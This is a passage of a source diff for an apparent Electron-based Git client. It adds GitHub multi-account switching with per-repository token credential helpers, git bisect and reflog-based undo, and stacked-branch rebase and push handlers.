gh.cancelLogin(), - 'gh.auth.logout': async (host) => { - await gh.logout(host); - send('tools.changed', await tools.refresh()); + 'gh.auth.logout': async (host, login) => { + await gh.logout(host, login); + await tools.refreshAuth(); + store.clearInboxCache(); // the inbox belongs to whichever account is active now + inbox.resetCache(); + }, + 'gh.auth.switch': async (host, login) => { + await gh.switchAccount(host, login); + await tools.refreshAuth(); + store.clearInboxCache(); + inbox.resetCache(); }, 'gh.auth.setupGit': async () => { await gh.setupGit(); - send('tools.changed', await tools.refresh()); + await tools.refreshAuth(); }, 'gh.auth.refreshScopes': async (scopes) => { const host = tools.current().ghAccount?.host ?? 'github.com'; const result = await gh.refreshScopes(host, scopes, (code, url) => send('gh.auth.code', { code, url })); - const state = await tools.refresh(); - send('tools.changed', state); + await tools.refreshAuth(); send('gh.auth.finished', result); return result; }, @@ -541,6 +557,7 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { 'repo.status': async (repoPath) => freshStatus(repoPath), 'repo.branches': async (repoPath) => getBranches(git, repoPath), 'repo.defaultBranch': async (repoPath) => getDefaultBranch(git, repoPath), + 'repo.stack': async (repoPath) => ({ parents: await getStackParents(git, repoPath), canUpdateRefs: gitCanUpdateRefs() }), 'repo.tags': async (repoPath) => ops.getTags(git, repoPath), 'repo.remotes': async (repoPath) => ops.getRemotes(git, repoPath), 'repo.stashes': async (repoPath) => ops.getStashes(git, repoPath), @@ -550,7 +567,7 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { const controller = new AbortController(); historyControllers.set(key, controller); try { - return await getHistory(git, repoPath, opts, controller.signal); + return await getHistory(git, repoPath, opts.ref ? opts : { ...opts, ref: await bisectHistoryRef(git, repoPath) }, controller.signal); } finally { if (historyControllers.get(key) === controller) historyControllers.delete(key); } @@ -576,6 +593,9 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { 'repo.commitTemplate': async (repoPath) => readCommitTemplate(git, repoPath), 'repo.stash.files': async (repoPath, stashRef) => getStashFiles(git, repoPath, stashRef), 'repo.stash.resolveRef': async (repoPath, sha) => ops.resolveStashRef(git, repoPath, sha), + 'repo.reflog': async (repoPath) => getReflog(git, repoPath), + 'repo.undoPlan': async (repoPath) => getUndoPlan(git, repoPath), + 'repo.bisect': async (repoPath) => getBisectState(git, repoPath), 'repo.compare': async (repoPath, base, head) => compareRefs(git, repoPath, base, head), 'repo.readFile': async (repoPath, path) => { toFsPath(repoPath, path); @@ -601,7 +621,7 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { if (nextPatch.key !== undefined && nextPatch.key) { const format = nextPatch.format ?? (await ops.getSigningConfig(git, repoPath)).effective.format; if (format === 'openpgp') { - const gpgPath = tools.current().gpg.path; + const gpgPath = (await tools.ensure('gpg')).path; if (!gpgPath) throw new GitError({ message: 'GPG was not found, so the key could not be verified. Install GnuPG or set its location.', command: '', exitCode: null, stderr: '', stdout: '', code: 'tool-missing' }); const ok = await gpgKeyExists(gpgPath, await tools.env(), nextPatch.key); if (!ok) throw new GitError({ message: `No secret key "${nextPatch.key}" was found in the GPG keyring.`, command: '', exitCode: null, stderr: '', stdout: '', code: 'signing-key-missing' }); @@ -618,7 +638,7 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { const list = format === 'openpgp' ? await (async () => { - const gpgPath = tools.current().gpg.path; + const gpgPath = (await tools.ensure('gpg')).path; if (!gpgPath) throw new Error('GPG was not found. Install GnuPG or set its location in Options → Advanced.'); return listGpgSecretKeys(gpgPath, await tools.env()); })() @@ -631,12 +651,12 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { const config = (await ops.getSigningConfig(git, repoPath)).effective; if (!config.format || !config.key) return { ok: false, message: 'Configure a signing format and key first.', needsPassphrase: false }; if (config.format === 'openpgp') { - const gpgPath = tools.current().gpg.path; + const gpgPath = (await tools.ensure('gpg')).path; if (!gpgPath) return { ok: false, message: 'GPG was not found. Install GnuPG or set its location in Options → Advanced.', needsPassphrase: false }; return testGpgSigning(gpgPath, config.key, await tools.env()); } if (config.format === 'ssh') { - const sshKeygenPath = tools.current().sshKeygen.path; + const sshKeygenPath = (await tools.ensure('sshKeygen')).path; if (!sshKeygenPath) return { ok: false, message: 'ssh-keygen was not found. Install OpenSSH 8.8+ to use SSH commit signing.', needsPassphrase: false }; if (config.key.startsWith('key::')) return { ok: false, message: 'Test signing needs a key file path; a pasted key can only be tested by making a real commit.', needsPassphrase: false }; return testSshSigning(sshKeygenPath, config.key, await tools.env()); @@ -664,7 +684,7 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { return getSubmodules(git, repoPath, origin?.fetchUrl || origin?.pushUrl || null); }, 'repo.submodule.open': async (repoPath, submodulePath) => repos.openSubmodule(repos.getByPath(repoPath)?.id ?? (await repos.add(repoPath)).id, toFsPath(repoPath, submodulePath)), - 'repo.lfs.status': async (repoPath) => getLfsStatus(git, repoPath, tools.current().gitLfs), + 'repo.lfs.status': async (repoPath) => getLfsStatus(git, repoPath, await tools.ensure('gitLfs')), 'repo.lfs.files': async (repoPath) => getLfsFiles(git, repoPath), 'repo.health.largeFiles': async (repoPath, limit) => withCancellableProgress('generic', 'Scanning for large files', repoPath, (_onProgress, signal) => findLargestBlobs(git, tools, repoPath, limit, signal)), 'repo.health.staleBranches': async (repoPath, inactiveDays) => getStaleBranches(git, repoPath, inactiveDays), @@ -710,6 +730,14 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { p.done(); } }, + 'git.pushStack': async (repoPath) => { + const p = progress('push', 'Pushing stack', repoPath); + try { + return await withBusy(repoPath, () => ops.pushStack(git, repoPath, (pct, d) => p.update(pct, d))); + } finally { + p.done(); + } + }, 'git.checkout': async (repoPath, ref, strategy) => { await stashBeforeCheckout(repoPath, strategy); await checkoutBranch(git, repoPath, ref); @@ -739,7 +767,7 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { 'git.merge': async (repoPath, branch, squash) => withBusy(repoPath, () => ops.merge(git, repoPath, branch, squash)), 'git.merge.abort': async (repoPath) => ops.mergeAbort(git, repoPath), 'git.merge.continue': async (repoPath) => ops.mergeContinue(git, repoPath), - 'git.rebase': async (repoPath, onto) => withBusy(repoPath, () => ops.rebase(git, repoPath, onto)), + 'git.rebase': async (repoPath, onto, updateRefs) => withBusy(repoPath, () => ops.rebase(git, repoPath, onto, !!updateRefs && gitCanUpdateRefs())), // An AI rebase-plan apply that paused on a conflict leaves a resumable session on `rebasePlan` // (see RebaseApplyService); when one is pending for this repository, Continue/Abort resume or // fully unwind the *whole* plan instead of just the single paused `git rebase -i` step. @@ -836,6 +864,10 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { 'git.remote.prune': async (repoPath, remote) => pruneRemote(git, repoPath, remote), 'git.gc': async (repoPath, aggressive) => withBusy(repoPath, () => runGc(git, repoPath, aggressive)), 'git.reflog.expire': async (repoPath) => expireReflog(git, repoPath), + 'git.resetKeep': async (repoPath, sha, stashFirst) => resetKeep(git, repoPath, sha, stashFirst), + 'git.bisect.start': async (repoPath, bad, good) => bisectStart(git, repoPath, bad, good), + 'git.bisect.mark': async (repoPath, verb, sha) => bisectMark(git, repoPath, verb, sha), + 'git.bisect.reset': async (repoPath) => bisectReset(git, repoPath), // ---------------- ai ---------------- 'ai.resolve': async (repoPath, path, checkOutput) => { @@ -1068,6 +1100,9 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { return null; }); + // A repository's chosen GitHub account applies to every gh/git call its handlers make (see ToolLocator.repoAccount). + scopeRepoHandlers(handlers as unknown as Record Promise>); + // The palette's execution step calls back into these same handlers (never a shell, never a // bespoke code path) so it gets identical behaviour to a manual action for the same ApiMethods key. nlPalette.setDispatcher(async (action, repoPath, args) => (handlers[action] as (...a: unknown[]) => Promise)(repoPath, ...args)); diff --git a/src/main/core/host.ts b/src/main/core/host.ts index 33e21e6..308839f 100644 --- a/src/main/core/host.ts +++ b/src/main/core/host.ts @@ -28,6 +28,10 @@ export interface HostCapabilities { setTheme(theme: AppSettings['theme']): void; /** Applies a zoom step and returns the resulting zoom level. */ zoom(direction: 'in' | 'out' | 'reset'): number; + /** Opens another application window, showing repository `repoId` (none when null). Desktop only. */ + openWindow(repoId: string | null): Promise; + /** Rebuilds the native application menu with these shortcut overrides. Desktop only; a no-op elsewhere. */ + setMenuShortcuts(overrides: AppSettings['shortcuts']): void; } /** Thrown by `WebHost` for capabilities with no safe web equivalent; surfaces as a typed `unsupported` IPC error. */ diff --git a/src/main/gh/accounts.ts b/src/main/gh/accounts.ts new file mode 100644 index 0000000..ac8210e --- /dev/null +++ b/src/main/gh/accounts.ts @@ -0,0 +1,100 @@ +import type { GhAccountEntry } from '@shared/types'; + +interface RawJsonHost { + state?: string; + active?: boolean; + host?: string; + login?: string; + scopes?: string; + gitProtocol?: string; +} + +const splitScopes = (s: string): string[] => s.split(',').map((x) => x.trim().replace(/^'|'$/g, '')).filter((x) => x && x !== 'none'); + +/** gh 2.67+: `gh auth status --json hosts`. Only accounts whose token still works (`state: success`). */ +function parseJson(text: string): GhAccountEntry[] { + const parsed = JSON.parse(text) as { hosts?: Record }; + const out: GhAccountEntry[] = []; + for (const list of Object.values(parsed.hosts ?? {})) { + for (const e of list) { + if (e.state === 'success' && e.host && e.login) out.push({ host: e.host, login: e.login, active: !!e.active, scopes: splitScopes(e.scopes ?? ''), protocol: e.gitProtocol || null }); + } + } + return out; +} + +/** Human output of gh 2.40+ (multi-account) and older single-account gh (`Logged in to host as login`). Failed logins are skipped. */ +function parseText(text: string): GhAccountEntry[] { + const out: GhAccountEntry[] = []; + let current: GhAccountEntry | null = null; + for (const raw of text.split(/\r?\n/)) { + const line = raw.trim(); + const login = /Logged in to (\S+) (?:account|as) (\S+)/.exec(line); + if (login) { + current = { host: login[1], login: login[2], active: false, scopes: [], protocol: null }; + out.push(current); + continue; + } + if (/Failed to log in/i.test(line)) { + current = null; + continue; + } + if (!current) continue; + const active = /Active account:\s*(true|false)/i.exec(line); + if (active) current.active = active[1].toLowerCase() === 'true'; + const protocol = /Git operations protocol:\s*(\S+)/i.exec(line); + if (protocol) current.protocol = protocol[1]; + const scopes = /Token scopes:\s*(.*)$/i.exec(line); + if (scopes) current.scopes = splitScopes(scopes[1]); + } + return out; +} + +/** + * Every signed-in account from `gh auth status` output (JSON or the human format; stdout and stderr + * may be concatenated, older gh printed to stderr). Each host ends up with exactly one active entry + * (the first, when gh did not say). Pure so it can be unit tested against canned output. + */ +export function parseGhAuthStatus(output: string): GhAccountEntry[] { + const text = output.trim(); + const entries = text.startsWith('{') ? parseJson(text) : parseText(text); + const hasActive = new Set(entries.filter((e) => e.active).map((e) => e.host)); + return entries.map((e) => (hasActive.has(e.host) || e.active ? e : (hasActive.add(e.host), { ...e, active: true }))); +} + +/** The account the app shows as "you": github.com's active account, else the first host's active one. */ +export function primaryAccount(entries: GhAccountEntry[]): GhAccountEntry | null { + const active = entries.filter((e) => e.active); + return active.find((e) => e.host === 'github.com') ?? active[0] ?? null; +} + +/** Environment that makes a `gh` run act as the account that owns `token` (gh reads github.com/GHE cloud tokens from GH_TOKEN, other hosts from GH_ENTERPRISE_TOKEN). */ +export function ghAccountEnv(host: string, token: string): NodeJS.ProcessEnv { + return { [host === 'github.com' || host.endsWith('.ghe.com') ? 'GH_TOKEN' : 'GH_ENTERPRISE_TOKEN']: token }; +} + +/** + * Environment that makes git's HTTPS operations against `host` authenticate with `token`: gh reads + * it for its own credential helper, and an env-injected `credential..helper` (empty value first, + * which drops every other configured helper) answers git directly, so it also wins over keychains. + * Uses GIT_CONFIG_COUNT (Git 2.31+); older Git ignores it and falls back to the gh helper + GH_TOKEN. + * `base` is the env the command will run with, so existing GIT_CONFIG_* pairs are kept. + */ +export function gitAccountEnv(host: string, token: string, base: NodeJS.ProcessEnv): NodeJS.ProcessEnv { + const n = Number.parseInt(base.GIT_CONFIG_COUNT ?? '', 10) || 0; + const key = `credential.https://${host}.helper`; + return { + ...ghAccountEnv(host, token), + GITGOOD_ACCOUNT_TOKEN: token, + GIT_CONFIG_COUNT: String(n + 2), + [`GIT_CONFIG_KEY_${n}`]: key, + [`GIT_CONFIG_VALUE_${n}`]: '', + [`GIT_CONFIG_KEY_${n + 1}`]: key, + [`GIT_CONFIG_VALUE_${n + 1}`]: '!f() { echo username=x-access-token; echo "password=$GITGOOD_ACCOUNT_TOKEN"; }; f', + }; +} + +/** git subcommands that talk to the remote and so need the repository's account token. */ +export function isNetworkGitCommand(args: string[]): boolean { + return /^(fetch|pull|push|clone|ls-remote|submodule|lfs)$/.test(args[0] ?? ''); +} diff --git a/src/main/gh/gh.ts b/src/main/gh/gh.ts index 07a948f..9c55536 100644 --- a/src/main/gh/gh.ts +++ b/src/main/gh/gh.ts @@ -2,6 +2,7 @@ import type { CheckRun, CreateIssueOptions, CreatePullRequestOptions, CreateRele import { ExecError, exec, type ExecResult } from '../exec'; import { GitError, toGitErrorInfo } from '../git/git'; import { log } from '../logger'; +import { ghAccountEnv } from './accounts'; import type { ToolLocator } from '../tools'; interface GhRunOptions { @@ -300,9 +301,12 @@ export class GhClient { constructor(private readonly tools: ToolLocator) {} async run(args: string[], opts: GhRunOptions = {}): Promise { - await this.tools.ensureLocated(); + await this.tools.ensure('gh'); const gh = this.tools.ghPath(); const env = await this.tools.ghEnv(); + // A repository with a chosen GitHub account (cwd, or the handler's repoScope) runs gh as that account. + const account = await this.tools.repoAccount(opts.cwd); + if (account) Object.assign(env, ghAccountEnv(account.host, account.token)); try { return await exec(gh, args, { cwd: opts.cwd, env, stdin: opts.stdin, signal: opts.signal, onStderr: opts.onStderr, onStdout: opts.onStdout, timeoutMs: opts.timeoutMs ?? 120000, okExitCodes: opts.okExitCodes }); } catch (err) { @@ -397,8 +401,14 @@ export class GhClient { this.loginProcess = null; } - async logout(host: string): Promise { - await this.run(['auth', 'logout', '--hostname', host], { okExitCodes: [1] }); + /** Signs out one account (`login`), or the host's active account when omitted. */ + async logout(host: string, login?: string): Promise { + await this.run(['auth', 'logout', '--hostname', host, ...(login ? ['--user', login] : [])], { okExitCodes: [1] }); + } + + /** Makes `login` the account gh uses by default on `host` (repositories with a chosen account are unaffected). */ + async switchAccount(host: string, login: string): Promise { + await this.run(['auth', 'switch', '--hostname', host, '--user', login], { timeoutMs: 30000 }); } async setupGit(): Promise { @@ -406,7 +416,7 @@ export class GhClient { } async account(): Promise { - return (await this.tools.refresh()).ghAccount; + return (await this.tools.refreshAuth()).ghAccount; } // ---------- repositories ---------- diff --git a/src/main/git/bisect.ts b/src/main/git/bisect.ts new file mode 100644 index 0000000..8149504 --- /dev/null +++ b/src/main/git/bisect.ts @@ -0,0 +1,84 @@ +import { readFile, stat } from 'node:fs/promises'; +import { join } from 'node:path'; +import { assertNotOption } from '@shared/util'; +import type { BisectState } from '@shared/types'; +import { GitError, type GitClient } from './git'; +import { getGitDir } from './status'; + +async function isBisecting(git: GitClient, repoPath: string): Promise { + return stat(join(await getGitDir(git, repoPath), 'BISECT_LOG')).then(() => true, () => false); +} + +async function describe(git: GitClient, repoPath: string, rev: string): Promise<{ sha: string; summary: string } | null> { + const out = await git.tryRun(repoPath, ['log', '-1', '--format=%H%x1f%s', rev], { readOnly: true }); + if (!out) return null; + const [sha, summary = ''] = out.stdout.trim().split('\x1f'); + return { sha, summary }; +} + +/** While bisecting, HEAD sits at a midpoint; History shows the branch the bisect started from instead so both ends stay visible. Null when not bisecting. */ +export async function bisectHistoryRef(git: GitClient, repoPath: string): Promise { + const start = await readFile(join(await getGitDir(git, repoPath), 'BISECT_START'), 'utf8').catch(() => ''); + return start.trim() || null; +} + +/** + * Null when no bisect is running. The counts come from `rev-list --bisect-vars` (what git prints as "N revisions left + * (roughly M steps)"); ponytail: it ignores `git bisect skip`, so after skips the estimate can be a little high. + */ +export async function getBisectState(git: GitClient, repoPath: string): Promise { + if (!(await isBisecting(git, repoPath))) return null; + const refs = (await git.tryRun(repoPath, ['for-each-ref', '--format=%(refname) %(objectname)', 'refs/bisect'], { readOnly: true }))?.stdout ?? ''; + let bad: string | null = null; + const good: string[] = []; + for (const line of refs.split('\n')) { + const [ref, sha] = line.split(' '); + if (ref === 'refs/bisect/bad') bad = sha; + else if (ref?.startsWith('refs/bisect/good-')) good.push(sha); + } + const state: BisectState = { bad, good, head: await describe(git, repoPath, 'HEAD'), remaining: null, steps: null, firstBad: null }; + if (bad && good.length) { + const vars = await git.tryRun(repoPath, ['rev-list', '--bisect-vars', bad, '--not', ...good], { readOnly: true }); + const num = (name: string) => { + const m = new RegExp(`^${name}=(\\d+)$`, 'm').exec(vars?.stdout ?? ''); + return m ? parseInt(m[1], 10) : null; + }; + state.remaining = num('bisect_nr'); + state.steps = num('bisect_steps'); + if (num('bisect_all') === 1) state.firstBad = await describe(git, repoPath, bad); + } + return state; +} + +const refused = (message: string) => new GitError({ message, command: '', exitCode: null, stderr: '', stdout: '', code: 'unknown' }); + +/** Starts a bisect between a known bad and a known good commit; git checks out the midpoint. A failed start (e.g. local changes block the checkout) is rolled back. */ +export async function bisectStart(git: GitClient, repoPath: string, bad: string, good: string): Promise { + assertNotOption(bad, good); + if (await isBisecting(git, repoPath)) throw refused('A bisect is already in progress. Reset it before starting another.'); + // `git bisect start` silently treats an unresolvable argument as a pathspec, so resolve both ends first. + const [badSha, goodSha] = await Promise.all( + [bad, good].map(async (rev) => { + const out = await git.tryRun(repoPath, ['rev-parse', '--verify', '--quiet', `${rev}^{commit}`], { readOnly: true }); + if (!out) throw refused(`"${rev}" is not a commit in this repository.`); + return out.stdout.trim(); + }), + ); + try { + await git.run(repoPath, ['bisect', 'start', badSha, goodSha, '--']); + } catch (err) { + await git.tryRun(repoPath, ['bisect', 'reset']); + throw err; + } +} + +/** Marks `sha` (default: the commit currently checked out) as good, bad or skipped. */ +export async function bisectMark(git: GitClient, repoPath: string, verb: 'good' | 'bad' | 'skip', sha: string | null): Promise { + if (sha) assertNotOption(sha); + await git.run(repoPath, ['bisect', verb, ...(sha ? [sha] : [])]); +} + +/** Ends the bisect and returns to the branch it started from. */ +export async function bisectReset(git: GitClient, repoPath: string): Promise { + await git.run(repoPath, ['bisect', 'reset']); +} diff --git a/src/main/git/branches.ts b/src/main/git/branches.ts index 8cbf0c9..97b9541 100644 --- a/src/main/git/branches.ts +++ b/src/main/git/branches.ts @@ -125,3 +125,29 @@ export async function getUpstreamRemote(git: GitClient, repoPath: string, branch const out = await git.tryRun(repoPath, ['config', '--get', `branch.${branch}.remote`], { readOnly: true }); return out?.stdout.trim() || null; } + +/** + * The current branch's stack: the other local branches whose tips lie on its first-parent history + * between the merge-base with the default branch and HEAD, oldest (closest to the default branch) + * first. Empty on the default branch, a detached HEAD, or when there is no default branch or common + * ancestor. A branch sitting on HEAD itself is a sibling, not part of the stack. + */ +export async function getStackParents(git: GitClient, repoPath: string): Promise { + const [current, defaultBranch] = await Promise.all([getCurrentBranchName(git, repoPath), getDefaultBranch(git, repoPath)]); + if (!current || !defaultBranch || current === defaultBranch) return []; + const defaultRef = (await branchExists(git, repoPath, defaultBranch)) ? defaultBranch : `origin/${defaultBranch}`; + const base = await git.tryRun(repoPath, ['merge-base', defaultRef, 'HEAD'], { readOnly: true, quiet: true }); + if (!base?.stdout.trim()) return []; + const chain = (await git.stdout(repoPath, ['rev-list', '--first-parent', '--reverse', `${base.stdout.trim()}..HEAD`], { readOnly: true })).split('\n').filter(Boolean); + if (chain.length < 2) return []; + const position = new Map(chain.slice(0, -1).map((sha, i) => [sha, i])); + const refs = await git.stdout(repoPath, ['for-each-ref', '--format=%(objectname) %(refname)', 'refs/heads'], { readOnly: true }); + const found: { name: string; at: number }[] = []; + for (const line of refs.split('\n')) { + const space = line.indexOf(' '); + const at = position.get(line.slice(0, space)); + const name = line.slice(space + 1).replace(/^refs\/heads\//, ''); + if (at !== undefined && name !== current) found.push({ name, at }); + } + return found.sort((a, b) => a.at - b.at || (a.name < b.name ? -1 : 1)).map((f) => f.name); +} diff --git a/src/main/git/git.ts b/src/main/git/git.ts index 150f667..69e2e3f 100644 --- a/src/main/git/git.ts +++ b/src/main/git/git.ts @@ -1,5 +1,6 @@ import type { GitErrorInfo } from '@shared/types'; import { ExecError, exec, type ExecOptions, type ExecResult } from '../exec'; +import { gitAccountEnv, isNetworkGitCommand } from '../gh/accounts'; import { log } from '../logger'; import type { ToolLocator } from '../tools'; @@ -81,7 +82,7 @@ export class GitClient { constructor(private readonly tools: ToolLocator) {} async executable(): Promise { - await this.tools.ensureLocated(); + await this.tools.ensure('git'); return this.tools.gitPath(); } async baseEnv(extra?: NodeJS.ProcessEnv): Promise { @@ -106,6 +107,9 @@ export class GitClient { const gitPath = await this.executable(); const env = await this.baseEnv(opts.env); if (opts.readOnly) env.GIT_OPTIONAL_LOCKS = '0'; + // Network operations in a repository with a chosen GitHub account authenticate as that account. + const account = isNetworkGitCommand(args) ? await this.tools.repoAccount(repoPath) : null; + if (account) Object.assign(env, gitAccountEnv(account.host, account.token, env)); const fullArgs = ['-c', 'core.quotePath=false', '-c', 'color.ui=never', '-c', 'advice.detachedHead=false']; if (process.platform === 'win32') fullArgs.push('-c', 'core.longpaths=true'); fullArgs.push('--no-pager', ...args); diff --git a/src/main/git/health.ts b/src/main/git/health.ts index d4aaf33..d17a473 100644 --- a/src/main/git/health.ts +++ b/src/main/git/health.ts @@ -78,7 +78,7 @@ export function selectTopBlobs(blobs: RawBlob[], limit: number): RawBlob[] { export function scanLargestBlobs(git: GitClient, tools: ToolLocator, repoPath: string, limit: number, signal?: AbortSignal): Promise { return new Promise((resolve, reject) => { void (async () => { - await tools.ensureLocated(); + await tools.ensure('git'); let gitPath: string; try { gitPath = tools.gitPath(); diff --git a/src/main/git/log.ts b/src/main/git/log.ts index ea27653..71d0367 100644 --- a/src/main/git/log.ts +++ b/src/main/git/log.ts @@ -109,7 +109,7 @@ export async function getHistory(git: GitClient, repoPath: string, opts: History const follow = !!opts.follow && !!opts.path; const withSignature = !!opts.verifySignatures; const format = withSignature ? FORMAT_WITH_SIGNATURE : FORMAT; - const base = ['log', `--format=${format}`, `--max-count=${limit + 1}`, `--skip=${opts.skip}`, ...(follow ? ['--follow', '-M'] : [])]; + const base = ['log', `--format=${format}`, `--max-count=${limit + 1}`, `--skip=${opts.skip}`, ...(follow ? ['--follow', '-M'] : []), ...(opts.graph ? ['--date-order'] : [])]; const query = opts.query ?? null; const hasQuery = !!query && !isEmptyHistoryQuery(query); const refArgs = query?.allRefs ? ['--all'] : [opts.ref ?? 'HEAD']; diff --git a/src/main/git/operations.ts b/src/main/git/operations.ts index 88b423b..ccd9010 100644 --- a/src/main/git/operations.ts +++ b/src/main/git/operations.ts @@ -3,6 +3,7 @@ import { join } from 'node:path'; import type { OperationOutcome } from '@shared/ipc'; import type { CloneOptions, RebaseSquashOptions, Remote, Stash, Tag, GitConfigInfo, SigningConfig, SigningConfigInfo, SigningFormat } from '@shared/types'; import { assertNewBranchName, assertNotOption } from '@shared/util'; +import { getBranches, getCurrentBranchName, getStackParents, getUpstreamRemote } from './branches'; import { getStashFiles, toFsPath } from './diff'; import { GitError, TransferProgressParser, type GitClient } from './git'; import { getGitDir } from './status'; @@ -104,6 +105,31 @@ export async function push( }); } +/** argv for pushing a whole stack of branches in one go, every one with a lease. `--set-upstream` also points branches that already track something at `remote/`, which is where this push sends them anyway. */ +export function pushStackArgs(remote: string, branches: string[], setUpstream: boolean): string[] { + assertNotOption(remote, ...branches); + return ['push', '--progress', '--force-with-lease', ...(setUpstream ? ['--set-upstream'] : []), remote, ...branches]; +} + +/** Force-pushes (with lease) the current branch and the stack branches below it, to the current branch's remote (default origin). Returns the pushed branch names, oldest first. */ +export async function pushStack(git: GitClient, repoPath: string, onProgress: ProgressSink, signal?: AbortSignal): Promise { + const current = await getCurrentBranchName(git, repoPath); + if (!current) throw new Error('Check out a branch to push its stack.'); + const branches = [...(await getStackParents(git, repoPath)), current]; + const local = new Map((await getBranches(git, repoPath)).filter((b) => b.kind === 'local').map((b) => [b.name, b])); + const remote = (await getUpstreamRemote(git, repoPath, current)) ?? 'origin'; + const parser = new TransferProgressParser('push'); + await git.run(repoPath, pushStackArgs(remote, branches, branches.some((b) => !local.get(b)?.upstream)), { + signal, + onStderr: (chunk) => { + const p = parser.feed(chunk); + if (p) onProgress(p.percent, p.description); + }, + timeoutMs: 30 * 60 * 1000, + }); + return branches; +} + /** Cone-mode sparse-checkout directories: repository-relative, forward slashes, no `..`, nothing option-like. */ export function normalizeSparseDirs(dirs: string[]): string[] { const out = dirs.map((d) => d.trim().replace(/\\/g, '/').replace(/^(\.\/|\/)+/, '').replace(/\/+$/, '')).filter(Boolean); @@ -172,10 +198,11 @@ export async function mergeContinue(git: GitClient, repoPath: string): Promise { +/** `--update-refs` (git 2.38+) also moves every local branch that points into the rebased range, which keeps a stack of branches intact. */ +export async function rebase(git: GitClient, repoPath: string, onto: string, updateRefs = false): Promise { assertNotOption(onto); try { - await git.run(repoPath, ['rebase', onto], { env: { GIT_EDITOR: 'true', GIT_SEQUENCE_EDITOR: 'true' } }); + await git.run(repoPath, ['rebase', ...(updateRefs ? ['--update-refs'] : []), onto], { env: { GIT_EDITOR: 'true', GIT_SEQUENCE_EDITOR: 'true' } }); return { status: 'complete' }; } catch (err) { return outcomeFromError(err); diff --git a/src/main/git/reflog.ts b/src/main/git/reflog.ts new file mode 100644 index 0000000..d01c56b --- /dev/null +++ b/src/main/git/reflog.ts @@ -0,0 +1,115 @@ +import { assertNotOption } from '@shared/util'; +import type { ReflogEntry, UndoPlan } from '@shared/types'; +import { GitError, type GitClient } from './git'; +import * as ops from './operations'; + +const FIELD = '\x1f'; + +/** Parses `git reflog --format=%H%gs%ct` output (newest first). */ +export function parseReflog(output: string): ReflogEntry[] { + const entries: ReflogEntry[] = []; + for (const line of output.split('\n')) { + if (!line) continue; + const [sha, subject = '', ct = '0'] = line.split(FIELD); + const colon = subject.indexOf(': '); + entries.push({ + index: entries.length, + sha, + action: colon < 0 ? subject : subject.slice(0, colon), + message: colon < 0 ? '' : subject.slice(colon + 2), + timestamp: parseInt(ct, 10) * 1000, + }); + } + return entries; +} + +export async function getReflog(git: GitClient, repoPath: string, limit = 300): Promise { + // An unborn branch has no HEAD reflog yet; git exits non-zero there. + const out = await git.tryRun(repoPath, ['reflog', 'show', 'HEAD', `--format=%H${FIELD}%gs${FIELD}%ct`, '-n', String(limit)], { readOnly: true }); + return out ? parseReflog(out.stdout) : []; +} + +/** `rebase` and `pull --rebase` log one entry per replayed commit; undoing one means undoing the whole run. */ +const REBASE_RE = /^(rebase|pull --rebase)\b/; +const LABELS: [RegExp, string][] = [ + [/^commit \(amend\)/, 'Amend'], + [/^commit \(merge\)/, 'Merge commit'], + [/^commit/, 'Commit'], + [/^merge\b/, 'Merge'], + [/^pull --rebase/, 'Pull (rebase)'], + [/^pull\b/, 'Pull'], + [/^rebase\b/, 'Rebase'], + [/^cherry-pick/, 'Cherry-pick'], + [/^revert/, 'Revert'], + [/^reset/, 'Reset'], +]; + +function describeEntry(e: ReflogEntry): string { + const label = LABELS.find(([re]) => re.test(e.action))?.[1] ?? e.action; + return REBASE_RE.test(e.action) || !e.message ? label : `${label}: ${e.message}`; +} + +/** + * The "Undo last Git operation" target for a newest-first HEAD reflog: the newest entry that actually moved HEAD + * (skipping `reset --hard HEAD`-style no-ops and aborted rebases). A checkout is undone by switching back; anything else + * by resetting to the state before it (before the whole run for a rebase). `localBranches` tells a branch from a detached commit. + */ +export function planUndo(entries: ReflogEntry[], localBranches: ReadonlySet): UndoPlan | null { + let i = 0; + while (i < entries.length) { + const e = entries[i]; + if (e.action === 'checkout') { + const m = /^moving from (\S+) to (\S+)$/.exec(e.message); + if (!m) return null; + if (m[1] === m[2]) { + i += 1; + continue; + } + const isBranch = localBranches.has(m[1]); + if (!isBranch && !/^[0-9a-f]{40}$/.test(m[1])) return null; + return { kind: 'checkout', description: `Checkout of ${m[2]}`, ref: m[1], isBranch }; + } + let next = i + 1; + if (REBASE_RE.test(e.action)) while (next < entries.length && REBASE_RE.test(entries[next].action)) next += 1; + const target = entries[next]; + if (!target) return null; + if (target.sha === e.sha) { + i = next; + continue; + } + return { kind: 'reset', description: describeEntry(e), target }; + } + return null; +} + +export async function getUndoPlan(git: GitClient, repoPath: string): Promise { + const entries = await getReflog(git, repoPath, 500); + const branches = await git.tryRun(repoPath, ['for-each-ref', '--format=%(refname:short)', 'refs/heads'], { readOnly: true }); + return planUndo(entries, new Set((branches?.stdout ?? '').split('\n').filter(Boolean))); +} + +const LOCAL_CHANGES_RE = /not uptodate|would be overwritten|Cannot merge/i; + +/** + * Moves the current branch (or detached HEAD) to `sha` with `reset --keep`: uncommitted changes survive unless they + * overlap files that differ, in which case git refuses (surfaced as `local-changes-overwritten`). With `stashFirst` + * the local changes are stashed (untracked included) before resetting. + */ +export async function resetKeep(git: GitClient, repoPath: string, sha: string, stashFirst: boolean): Promise { + assertNotOption(sha); + if (stashFirst) { + const dirty = (await git.stdout(repoPath, ['status', '--porcelain'], { readOnly: true })).trim(); + if (dirty) { + const branch = (await git.stdout(repoPath, ['branch', '--show-current'], { readOnly: true })).trim(); + await ops.stashPush(git, repoPath, 'Stashed before restoring an earlier state', true, null, branch || null); + } + } + try { + await git.run(repoPath, ['reset', '--keep', sha]); + } catch (err) { + if (err instanceof GitError && err.info.code !== 'local-changes-overwritten' && LOCAL_CHANGES_RE.test(`${err.info.stderr}\n${err.info.message}`)) { + throw new GitError({ ...err.info, code: 'local-changes-overwritten' }); + } + throw err; + } +} diff --git a/src/main/host/electron-host.ts b/src/main/host/electron-host.ts index c16819b..7d108b0 100644 --- a/src/main/host/electron-host.ts +++ 